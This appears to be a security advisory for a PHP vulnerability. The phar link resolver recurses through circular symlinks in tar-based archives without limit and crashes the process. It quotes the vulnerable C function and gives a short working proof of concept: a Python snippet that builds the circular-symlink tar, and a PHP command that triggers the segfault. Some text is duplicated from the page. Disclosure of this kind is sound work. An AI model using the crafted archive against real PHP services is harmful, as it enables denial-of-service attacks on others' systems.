phar_get_link_source() in ext/phar/util.c recursively follows symbolic links in phar archives without any depth limit or cycle detection. A crafted tar-based phar archive containing circular symlinks causes unbounded recursion, exhausting the C stack and crashing the PHP process.
|
phar_entry_info *phar_get_link_source(phar_entry_info *entry) /* {{{ */ |
|
{ |
|
phar_entry_info *link_entry; |
|
char *link; |
|
|
|
if (!entry->link) { |
|
return entry; |
|
} |
|
|
|
link = phar_get_link_location(entry); |
|
if (NULL != (link_entry = zend_hash_str_find_ptr(&(entry->phar->manifest), entry->link, strlen(entry->link))) || |
|
NULL != (link_entry = zend_hash_str_find_ptr(&(entry->phar->manifest), link, strlen(link)))) { |
|
if (link != entry->link) { |
|
efree(link); |
|
} |
|
return phar_get_link_source(link_entry); |
|
} else { |
|
if (link != entry->link) { |
|
efree(link); |
|
} |
|
return NULL; |
|
} |
|
} |
python3 -c "
import tarfile
with tarfile.open('circular_symlinks.tar', 'w') as tar:
a = tarfile.TarInfo(name='file_a'); a.type = tarfile.SYMTYPE; a.linkname = 'file_b'; tar.addfile(a)
b = tarfile.TarInfo(name='file_b'); b.type = tarfile.SYMTYPE; b.linkname = 'file_a'; tar.addfile(b)
"
php -r '
$p = new PharData("circular_symlinks.tar");
$p["file_a"]->getContent();
'
# Expected: Segmentation fault (stack overflow)Credit
Calvin Young - eWalker Consulting (HK) Limited
Enoch Chow - Isomorph Cyber
calvinytt Reporter
phar_get_link_source()inext/phar/util.crecursively follows symbolic links in phar archives without any depth limit or cycle detection. A crafted tar-based phar archive containing circular symlinks causes unbounded recursion, exhausting the C stack and crashing the PHP process.php-src/ext/phar/util.c
Lines 60 to 82 in cbc0489
Credit
Calvin Young - eWalker Consulting (HK) Limited
Enoch Chow - Isomorph Cyber